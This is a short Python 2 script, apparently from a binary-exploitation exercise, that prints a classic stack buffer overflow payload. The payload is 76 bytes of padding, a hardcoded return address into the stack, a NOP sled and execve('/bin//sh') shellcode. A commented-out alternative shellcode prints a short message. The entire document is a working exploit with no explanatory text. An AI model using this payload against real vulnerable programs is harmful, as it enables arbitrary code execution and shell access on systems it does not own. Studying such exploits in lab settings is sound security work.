
#76 in payload ($esp + 10) - ($ebp + 4)

#interrupt = "\xcc"*76

#Buffer on the stack 0xbffff780

padding = "B"*76


#eip = "0xbffff7d0"
eip = "\xee\xf7\xff\xbf"

#payload = "\xcc"*4


nops = "\x90"*100


shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" + "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

#shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80"

print padding + eip + nops  + shellcode

